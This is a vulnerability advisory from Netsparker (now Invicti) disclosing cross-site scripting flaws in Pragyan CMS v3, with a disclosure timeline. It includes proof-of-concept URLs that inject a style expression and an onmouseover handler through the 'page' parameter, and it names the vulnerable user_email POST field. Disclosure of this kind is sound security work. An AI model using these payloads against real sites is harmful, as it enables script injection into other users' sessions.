XSS Vulnerabilities in Pragyan CMS


Advisory by Netsparker (now Invicti)
Name: XSS Vulnerabilities in Pragyan CMS v3
Software: Pragyan CMS v3 and possibly below.
Vendor Homepage: https://github.com/delta/pragyan
Vulnerability Type: Cross-site Scripting
Severity: Critical
Researcher: Omar Kurt
Advisory Reference: NS-14-016


A simple and fast multiuser content management system to organize collaborative web-content.


Pragyan CMS is affected by XSS vulnerabilities in version v3.
Example PoC URLs are as follows:

  • Cross-site Scripting
    http://example.com/?page=' stYle=x:expre/**/ssion(alert(9)) onmouseover=' &action=login

    http://example.com/?page=/&action=login (POST : params : user_email)

You can read the full article about Cross-site Scripting vulnerabilities from here:

Advisory Timeline

03/03/2014 – First Contact (No reply)
08/04/2014 – Advisory Released


It has been discovered on testing of Invicti Web Application Security Scanner.

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